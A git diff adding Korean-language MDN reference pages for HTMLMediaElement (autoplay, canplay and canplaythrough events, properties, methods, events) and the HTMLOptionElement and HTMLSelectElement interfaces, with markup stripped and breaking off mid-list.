HTMLMediaElement.autoplay 프로퍼티는 {{htmlattrxref("autoplay", "video")}} HTML 어트리뷰트의 값을 반환합니다. 이 프로퍼티는 미디어가 문제 없이 재생 가능한 상황이 되면 자동 재생 여부를 결정합니다.

+ +

미디어 엘리먼트의 소스가 {{domxref("MediaStream")}}이며 autoplay 프로퍼티가 true 일 경우 액티브 상태가 되면 재생합니다 (즉, {{domxref("MediaStream.active")}}가 true가 될 때).

+ +
+

Note: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.

+
+ +

자동 재생과 자동 재생 제한, 그리고 브라우저의 자동 재생 제한에 대처하는 법에 대해 자세히 알고 싶다면 미디어 자동 재생과 Web Audio API 가이드 문서를 참조하세요.

+ +

문법

+ +
HTMLMediaElement.autoplay = true | false;
+
+var autoplay = HTMLMediaElement.autoplay;
+ +

+ +

미디어가 재생 가능할 정도로 로드되고 문제 없이 재생 가능할 때 자동 재생 여부를 {{domxref("Boolean")}} true 로 반환한다.

+ +
+

Note: 특정 브라우저는 사용자 설정을 통해 autoplay 프로퍼티를 무시하고 비디오/오디오 자동 재생을 막는 기능을 제공합니다. 자동 재생을 위해 autoplay 프로퍼티를 맹신하지 마세요.

+
+ +

예제

+ +

...

+ +
<video id="video" controls>
+  <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165">
+</video>
+ +
*** Disable autoplay (recommended) ***
+      false is the default value
+        document.querySelector('#video').autoplay = false;
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-autoplay", "HTMLMediaElement.autoplay")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.autoplay")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLMediaElement.autoplay")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/htmlmediaelement/canplay_event/index.html b/files/ko/web/api/htmlmediaelement/canplay_event/index.html new file mode 100644 index 0000000000..95f700ef3f --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/canplay_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplay' +slug: Web/API/HTMLMediaElement/canplay_event +tags: + - canplay +translation_of: Web/API/HTMLMediaElement/canplay_event +--- +

canplay 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생된다. 그러나, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에는, 로드된 데이터가 충분하지 않을 것으로 추산한다.

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html new file mode 100644 index 0000000000..198bc13a39 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/canplaythrough_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLMediaElement: canplaythrough' +slug: Web/API/HTMLMediaElement/canplaythrough_event +tags: + - canplaythrough +translation_of: Web/API/HTMLMediaElement/canplaythrough_event +--- +

canplaythrough 이벤트는 user agent 가 media 를 재생할 수 있을 때 발생되며, 컨텐츠의 추가 버퍼링을 위한 정지 없이 media 를 끝까지 재생하기에 로드된 데이터가 충분할 것으로 추산한다.

+ +

General info

+ +
+
Specification
+
HTML5 media
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/ko/web/api/htmlmediaelement/index.html b/files/ko/web/api/htmlmediaelement/index.html new file mode 100644 index 0000000000..d8035bd3c0 --- /dev/null +++ b/files/ko/web/api/htmlmediaelement/index.html @@ -0,0 +1,282 @@ +--- +title: HTMLMediaElement +slug: Web/API/HTMLMediaElement +translation_of: Web/API/HTMLMediaElement +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement는 오디오와 비디오에 통용되는 미디어 관련 확장성을 제공하기 위해 {{domxref("HTMLElement")}}에 메소드와 프로퍼티를 추가한 인터페이스입니다. {{domxref("HTMLVideoElement")}} 와 {{domxref("HTMLAudioElement")}} 는 이 인터페이스를 상속합니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

속성(Properties)

+ +

이 인터페이스는 {{domxref("HTMLElement")}}, {{domxref("Element")}}, {{domxref("Node")}}, and {{domxref("EventTarget")}}의 프로퍼티들도 모두 상속합니다.

+ +
+
{{domxref("HTMLMediaElement.audioTracks")}}
+
{{domxref("AudioTrackList")}}는 엘레먼트의 {{domxref("AudioTrack")}} 객체의 목록입니다.
+
{{domxref("HTMLMediaElement.autoplay")}}
+
미디어가 준비된 즉시 재생할 것인지 결정하는 {{htmlattrxref("autoplay", "video")}} 속성에 연결된 {{jsxref("Boolean")}}값입니다.. +
Note: 오디오(또는 오디오가 있는 비디오)를 자동으로 재생하는 사이트는 사용자에게 그리 탐탁치 않은 경험일 수 있습니다, 그러므로 가능한 한 지양해야합니다. 자동 재생 기능을 제공하려면, 사전 동의(사용자에게 기능을 켜도록 함)를 받아야 합니다. 의외로 이 점은 사용자의 조작에 의해 미디어 엘레먼츠를 늦게 생성하는 경우 유용할 수 있습니다.
+
+
{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}
+
buffered 프로퍼티에 접근한 시점에 브라우저가 버퍼에 담고 있는 미디어 소스의 구간 데이터를 나타내는 {{domxref("TimeRanges")}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.controller")}}
+
미디어 엘레먼트에 할당된 {{domxref("MediaController")}} 객체를 반환하거나 없다면 null을 반환합니다.
+
{{domxref("HTMLMediaElement.controls")}}
+
미디어 엘레먼트에 컨트롤를 표시할지 결정하는 {{htmlattrxref("controls", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}
+
브라우저가 미디어 엘레먼트에 자체 컨트롤을 표시할 때 어떤 컨트롤을 보여주거나 숨길 지 결정하는 {{domxref("DOMTokenList")}}를 반환합니다. . DOMTokenList는 nodownload, nofullscreennoremoteplayback 값을 가질 수 있습니다.
+
{{domxref("HTMLMediaElement.crossOrigin")}}
+
{{domxref("DOMString")}}미디어 엘레먼트의 CORS 설정값을 반환합니다.
+
{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}
+
현재 선택된 미디어 소스 URL의 절대 경로를 {{domxref("DOMString")}}로 반환합니다.
+
{{domxref("HTMLMediaElement.currentTime")}}
+
현재 재생 시점을 초 단위로 표현한 double값입니다. 이 값을 세팅하여 재생 시점을 변경할 수 있습니다.
+
{{domxref("HTMLMediaElement.defaultMuted")}}
+
{{jsxref('Boolean')}} 기본적으로 음소거 상태인지 표시하는 {{htmlattrxref("muted", "video")}} HTML 속성 값을 {{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.defaultPlaybackRate")}}
+
미디어 기본 재생 배속을 double 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.disableRemotePlayback")}}
+
Is a {{jsxref('Boolean')}} that sets or returns the remote playback state, indicating whether the media element is allowed to have a remote playback UI.
+
{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}
+
미디어의 전체 길이를 초 단위로 double 값으로 반환합니다. 재생 가능한 미디어가 없을 경우 0을 반환합니다.
+
{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}
+
미디어 재생 완료 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.error")}} {{readonlyinline}}
+
마지막으로 발생한 {{domxref("MediaError")}} 객체를 반환합니다. 발생한 에러가 없을 경우 null을 반환합니다.
+
{{domxref("HTMLMediaElement.loop")}}
+
미디어의 반복 재생을 결정하는 HTML 속성 {{htmlattrxref("loop", "video")}} 값을{{jsxref('Boolean')}}으로 반환합니다.
+
{{domxref("HTMLMediaElement.mediaGroup")}}
+
미디어가 속한 그룹을 나타내는 {{ htmlattrxref("mediagroup", "video")}} 속성을 {{domxref("DOMString")}} 값으로 반환합니다. 같은 그룹에 속한 미디어들은 동일한  {{domxref('MediaController')}}에 의해 제어됩니다.
+
{{domxref("HTMLMediaElement.mediaKeys")}} {{readonlyinline}} {{experimental_inline}}
+
{{domxref("MediaKeys")}} 객체 또는 null을 반환합니다. MediaKeys는 재생할 미디어 데이터를 복호화 하는데 사용합니다.
+
{{domxref("HTMLMediaElement.mozAudioCaptured")}} {{readonlyinline}} {{non-standard_inline}}
+
오디오 스트림 캡쳐 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. (Mozilla 전용 비표준 속성.)
+
{{domxref("HTMLMediaElement.mozFragmentEnd")}} {{non-standard_inline}}
+
MediaElement의 currentSrc에 fragment URI가 존재하는 경우 fragment end time을 double 값으로 반환합니다. 없을 경우 미디어 길이를 반환합니다. (Mozilla 전용 비표준 속성)
+
{{domxref("HTMLMediaElement.mozFrameBufferLength")}} {{non-standard_inline}} {{deprecated_inline}}
+
+

MozAudioAvailable 이벤트 발생시마다 반환된 framebuffer의 샘플 숫자를 unsigned long 로 반환한다. 이 숫자는 모든 오디오 채널의 총합이며, 기본값은 채널 수 * 1024(예, 2 채널 * 1024 샘플 = 2048)이다.

+ +

레이턴시가 낮은 경우 mozFrameBufferLength 를 더 큰 값으로 지정할 수도 있습니다. 범위는 512에서 16384 사이입니다. 범위를 넘어서는 값은 Error를 발생시킵니다. loadedmetadata 이벤트가 발생할 때 새 값을 지정하는 것이 적절합니다. 오디오 정보는 알고 있지만 재생 시작 전 또는 MozAudioAvailable 이벤트가 발생하기 전 시점이죠.

+
+
{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
디지털 샘플링 주파수 값을 double로 반환합니다. 예를 들어 CD 오디오의 경우 초당 44100 샘플을 가집니다.
+
{{domxref("HTMLMediaElement.muted")}}
+
오디오 음소거 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. 음소거라면 true 반대는 false 를 반환합니다..
+
{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}
+
네트워크를 통한 미디어 데이터 전송 상태를 unsigned short (enumeration)으로 반환합니다.
+
{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}
+
미디어 일시 정지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.playbackRate")}}
+
재생 속도를 double 값으로 반환합니다. 
+
{{domxref("HTMLMediaElement.played")}} {{readonlyinline}}
+
브라우저에서 재생된 미디어 소스 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.preload")}}
+
프리로드 할 데이터 타입을 명시하는  {{htmlattrxref("preload", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환한다. 가능한 값들 : none, metadata, auto.
+
{{domxref("HTMLMediaElement.preservesPitch")}} {{non-standard_inline}}
+
사운드 피치 유지 여부를 {{jsxref('Boolean')}} 값으로 반환합니다. false 일 경우, 오디오 재생 속도에 따라 변하게 됩니다. Firefox의 (mozPreservesPitch)와 WebKit의 (webkitPreservesPitch)로 구현되어 있습니다.
+
{{domxref("HTMLMediaElement.readyState")}} {{readonlyinline}}
+
미디어 대기 상태를 unsigned short (enumeration)으로 반환합니다.
+
{{domxref("HTMLMediaElement.seekable")}} {{readonlyinline}}
+
탐색(seeking) 가능한 범위를 포함한 {{domxref('TimeRanges')}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.seeking")}} {{readonlyinline}}
+
탐색(seeking) 중 여부를 {{jsxref('Boolean')}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.sinkId")}} {{readonlyinline}} {{experimental_inline}}
+
별도의 오디오 재생 장치로 출력중이라면 장치의 unique ID를 {{domxref("DOMString")}} 으로 반환합니다. 브라우저로 재생 중이라면 빈 문자열입니다. 이 ID는 {{domxref("MediaDevices.enumerateDevices()")}}에서 반환된 MediaDeviceInfo.deviceidid-multimedia, id-communications 중 하나입니다.
+
{{domxref("HTMLMediaElement.src")}}
+
미디어 리소스 URL이 포함된 {{htmlattrxref("src", "video")}} attribute를 {{domxref("DOMString")}} 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.srcObject")}}
+
현재 HTMLMediaElement 객체에서 재생 중이거나 재생 되었던 미디어를 표현하는 {{domxref('MediaStream')}} 객체를 반환합니다. 없는 경우, null 을 반환합니다.
+
{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}
+
{{domxref("TextTrack")}} 리스트를 반환합니다.
+
{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}
+
{{domxref("VideoTrack")}} 리스트를 반환합니다.. +
+

Gecko는 싱글 트랙 재생만을 지원합니다. 또한 트랙 메타데이터 파싱은 Ogg 컨테이너 포맷에서만 가능합니다..

+
+
+
{{domxref("HTMLMediaElement.volume")}}
+
오디오 볼륨을 double 값으로 반환합니다. 0.0 (무음)에서 1.0 (최대크기) 사이 값을 가집니다..
+
+ +

이벤트 핸들러(Event handlers)

+ +
+
+
{{domxref("HTMLMediaElement.onencrypted")}}
+
미디어 암호화 시 호출되는 {{domxref('EventHandler')}}를 설정합니다.
+
{{domxref("HTMLMediaElement.onwaitingforkey")}}
+
재생하기 위해 복호화 키가 필요한 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다..
+
+ +

폐기된 속성(Obsolete attributes)

+ +

아래 속성들은 폐기되었으며 브라우저가 지원하더라도 사용되지 않아야 합니다.

+ +
+
{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}
+
최초 재생 지점을 초 단위로 double 값으로 반환합니다.
+
{{domxref("HTMLMediaElement.mozChannels")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}
+
오디오 채널 수를 double 값으로 반환합니다. (예, 스테레오인 경우 2).
+
+ +

폐기된 이벤트 핸들러(Obsolete event handlers)

+ +
+
{{domxref("HTMLMediaElement.onmozinterruptbegin")}} {{non-standard_inline}} {{obsolete_inline}}
+
Audio Channel manager에 의해 재생이 인터럽트 된 경우 호출되는 {{domxref("EventHandler")}} 를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.
+
{{domxref("HTMLMediaElement.onmozinterruptend")}} {{non-standard_inline}} {{obsolete_inline}}
+
재생 인터럽트가 해결된 경우 호출되는 {{domxref('EventHandler')}}를 설정합니다. Firefox 전용 기능으로 Firefox OS에서 추가되었으며 Firefox 55 버전에서 제거되었습니다.
+
+ +

메소드

+ +

This interface also inherits methods from its ancestors {{domxref("HTMLElement")}}, {{domxref('Element')}}, {{domxref('Node')}}, and {{domxref('EventTarget')}}.

+ +
+
{{domxref("HTMLMediaElement.addTextTrack()")}}
+
미디어 엘리먼트에 본문 트랙(자막 등)을 추가합니다.
+
{{domxref("HTMLMediaElement.captureStream()")}} {{experimental_inline}}
+
미디어 콘텐트의 스트림을 캡쳐하여 {{domxref("MediaStream")}} 객체로 반환합니다.
+
{{domxref("HTMLMediaElement.canPlayType()")}}
+
현재 지정된 미디어 타입을 재생할 수 있는지 확인합니다.
+
{{domxref("HTMLMediaElement.fastSeek()")}}
+
입력된 시간으로 바로 이동합니다.
+
{{domxref("HTMLMediaElement.load()")}}
+
미디어를 처음으로 리셋하고 {{htmlattrxref("src", "video")}} 어트리뷰트 또는 {{HTMLElement("source")}} 엘리먼트로 전달된 소스 중 최적의 소스를 선택합니다.
+
{{domxref("HTMLMediaElement.mozCaptureStream()")}} {{non-standard_inline}}
+
[enter description]
+
{{domxref("HTMLMediaElement.mozCaptureStreamUntilEnded()")}} {{non-standard_inline}}
+
[enter description]
+
{{domxref("HTMLMediaElement.mozGetMetadata()")}} {{non-standard_inline}}
+
Returns {{jsxref('Object')}}, which contains properties that represent metadata from the playing media resource as {key: value} pairs. A separate copy of the data is returned each time the method is called. This method must be called after the loadedmetadata event fires.
+
{{domxref("HTMLMediaElement.pause()")}}
+
미디어 재생을 일시 정지합니다.
+
{{domxref("HTMLMediaElement.play()")}}
+
미디어를 재생합니다.
+
{{domxref("HTMLMediaElement.seekToNextFrame()")}} {{non-standard_inline}} {{experimental_inline}}
+
미디어의 다음 프레임으로 이동합니다. 비표준이며 실험적인 이 기능은 미디어를 읽고 렌더링 하는 속도를 조절할 수 있게 하거나 프레임별로 필터링 등 추가적인 기능을 수행할 수 있게 합니다.
+
{{domxref("HTMLMediaElement.setMediaKeys()")}} {{experimental_inline}}
+
미디어 복호화에 필요한 키를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다.
+
{{domxref("HTMLMediaElement.setSinkId()")}} {{experimental_inline}}
+
오디오를 출력할 장치의 ID를 지정합니다. {{jsxref("Promise")}} 객체를 반환합니다. 어플리케이션이 특정 장치를 사용할 수 있는 경우에만 동작합니다.
+
+ +

폐기된 메소드

+ +

아래 메소드들은 폐기되었습니다. 브라우저가 지원하더라도 사용하면 안됩니다.

+ +
+
{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Mozilla 구현체에서만 동작하는 이 메소드는 다른 미디어 엘리먼트에서 데이터를 로드합니다. load() 메소드와 유사하게 동작하지만 리소스 선택 알고리즘만 다릅니다. 엘리먼트의 소스를 다른 엘리먼트의 currentSrc를 바라보게 합니다. 지정된 엘리먼트의 캐시 및 버퍼에 담긴 데이터에도 모두 접근할 수 있으며 이 말은 즉 다운로드 된 모든 데이터를 공유한다는 의미입니다.
+
+ +

이벤트

+ +

부모 엘리먼트 {{domxref("HTMLElement")}}에서 상속받은 이벤트와 {{domxref('GlobalEventHandlers')}}에 정의된 이벤트를 믹스인합니다. addEventListener()를 통해 이벤트를 수신하거나 oneventname 프로퍼티에 리스터를 할당하여 수신합니다.

+ +
+
{{domxref("HTMLMediaElement.abort_event", 'abort')}}
+
에러 외의 원인으로 전체 리소스가 로드 되지 못했을 때 발생합니다.
+
{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}
+
User agent가 미디어를 재생 가능한 시점에 발생합니다. 다만 전체 미디어를 재생하기 위해서는 콘텐츠의 버퍼링이 더 필요할 수 있습니다.
+
{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}
+
추가 버퍼링 없이 전체 미디어를 재생할 수 있는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}
+
duration 속성이 변경된 시점에 발생합니다..
+
{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}
+
미디어가 제거된 시점에 발생합니다. 예를 들어 미디어가 이미 (부분적으로라도) 로드 되었는데. {{domxref("HTMLMediaElement.load()")}} 메소드 호출로 재 로드할 경우 발생합니다.
+
{{domxref("HTMLMediaElement.ended_event", 'ended')}}
+
(<audio> or <video>) 미디어가 끝까지 재생 완료 된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.error_event", 'error')}}
+
에러가 발생하여 리소스를 로드할 수 없는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}
+
미디어의 첫번째 프레임이 로딩 완료된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}
+
메타데이터가 로드 된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.loadstart_event", 'loadstart')}}
+
브라우저가 리소스를 로드하기 시작하는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.pause_event", 'pause')}}
+
미디어 일시 정지를 요청하고 paused 상태로 진입하는 시점에 발생합니다. 일반적으로 {{domxref("HTMLMediaElement.pause()")}} 메소드가 호출되는 시점입니다.
+
{{domxref("HTMLMediaElement.play_event", 'play')}}
+
{{domxref("HTMLMediaElement.play()")}} 메소드 호출이나 autoplay 속성에 의해 paused 프로퍼티가 true 에서 false로 전환되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.playing_event", "playing")}}
+
일시 정지 되거나 버퍼 부족으로 재생 정지 된 이후 재생 가능한 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.progress_event", "progress")}}
+
브라우저가 리소르를 로딩 중일 때 주기적으로 발생합니다.
+
{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}
+
재생 속도가 변경될 때 발생합니다.
+
{{domxref("HTMLMediaElement.seeked_event", 'seeked ')}}
+
미디어 시킹이 완료되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}
+
미디어 시킹이 시작되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}
+
User agent가 미디어 데이터를 fetch 하였지만 전송되지 않은 경우 발생합니다.
+
{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}
+
미디어 로딩이 중지된 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}
+
currentTime 속성이 변경되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}
+
볼륨이 변경되는 시점에 발생합니다.
+
{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}
+
일시적인 버퍼 부족으로 재생이 정지된 시점에 발생합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture','#htmlmediaelement-extensions','HTMLMediaElement')}}{{Spec2('Media Capture')}}sinkId, setSinkId(), captureStream() 추가 됨
{{SpecName('EME', '#introduction', 'Encrypted Media Extensions')}}{{Spec2('EME')}}{{domxref("MediaKeys")}}, {{domxref("MediaEncryptedEvent")}}, {{domxref("setMediaKeys")}}, {{domxref("onencrypted")}}, and {{domxref("onwaitingforkey")}} 추가 됨.
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML WHATWG')}}{{SpecName('HTML5 W3C')}}와 동일
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement")}}{{Spec2('HTML5 W3C')}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLMediaElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmloptionelement/index.html b/files/ko/web/api/htmloptionelement/index.html new file mode 100644 index 0000000000..eaf7e27ae6 --- /dev/null +++ b/files/ko/web/api/htmloptionelement/index.html @@ -0,0 +1,88 @@ +--- +title: HTMLOptionElement +slug: Web/API/HTMLOptionElement +translation_of: Web/API/HTMLOptionElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLOptionElement interface represents {{HTMLElement("option")}} elements and inherits all classes and methods of the {{domxref("HTMLElement")}} interface.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLOptionElement.defaultSelected")}}
+
Is a {{domxref("Boolean")}} that contains the initial value of the {{htmlattrxref("selected", "option")}} HTML attribute, indicating whether the option is selected by default or not.
+
{{domxref("HTMLOptionElement.disabled")}}
+
Is a {{domxref("Boolean")}} representing the value of the {{htmlattrxref("disabled", "option")}} HTML attribute, which indicates that the option is unavailable to be selected. An option can also be disabled if it is a child of an {{HTMLElement("optgroup")}} element that is disabled.
+
{{domxref("HTMLOptionElement.form")}} {{readonlyInline}}
+
Is a {{domxref("HTMLFormElement")}} representing the same value as the form of the corresponding {{HTMLElement("select")}} element, if the option is a descendant of a {{HTMLElement("select")}} element, or null if none is found.
+
{{domxref("HTMLOptionElement.index")}} {{readonlyInline}}
+
Is a long representing the position of the option within the list of options it belongs to, in tree-order. If the option is not part of a list of options, like when it is part of the {{HTMLElement("datalist")}} element, the value is 0.
+
{{domxref("HTMLOptionElement.label")}} {{readonlyInline}}
+
Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("label", "option")}} HTML attribute, which provides a label for the option. If this attribute isn't specifically set, reading it returns the element's text content.
+
{{domxref("HTMLOptionElement.selected")}}
+
Is a {{domxref("Boolean")}} that indicates whether the option is currently selected.
+
{{domxref("HTMLOptionElement.text")}}
+
Is a {{domxref("DOMString")}} that contains the text content of the element.
+
{{domxref("HTMLOptionElement.value")}}
+
Is a {{domxref("DOMString")}} that reflects the value of the {{htmlattrxref("value", "option")}} HTML attribute, if it exists; otherwise reflects value of the {{domxref("Node.textContent")}} property.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
Option()
+
Is a constructor creating an HTMLOptionElement object. It has four values: the text to display, text, the value associated, value, the value of defaultSelected, and the value of selected. The last three values are optional.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmloptionelement", "HTMLOptionElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}{{Spec2('HTML5 W3C')}}A constructor, Option(), has been added.
+ The form property can be the null value.
{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM2 HTML')}}The selected property changed its meaning: it now indicates if the option is currently selected and no longer if it was initally selected.
+ The defaultSelected property is no longer read-only.
{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLOptionElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlselectelement/index.html b/files/ko/web/api/htmlselectelement/index.html new file mode 100644 index 0000000000..967409aadc --- /dev/null +++ b/files/ko/web/api/htmlselectelement/index.html @@ -0,0 +1,166 @@ +--- +title: HTMLSelectElement +slug: Web/API/HTMLSelectElement +tags: + - API + - HTML DOM + - HTMLSelectElement + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLSelectElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLSelectElement interface represents a {{HTMLElement("select")}} HTML Element. These elements also share all of the properties and methods of other HTML elements via the {{domxref("HTMLElement")}} interface.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

This interface inherits the properties of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ +
+
{{domxref("HTMLSelectElement.autofocus")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.disabled")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.
+
{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns null.
+
{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}
+
A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.
+
{{domxref("HTMLSelectElement.length")}}
+
An unsigned long The number of {{HTMLElement("option")}} elements in this select element.
+
{{domxref("HTMLSelectElement.multiple")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.
+
{{domxref("HTMLSelectElement.name")}}
+
A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.
+
{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.
+
{{domxref("HTMLSelectElement.required")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.selectedIndex")}}
+
A long reflecting the index of the first selected {{HTMLElement("option")}} element. The value -1 indicates no element is selected.
+
{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.
+
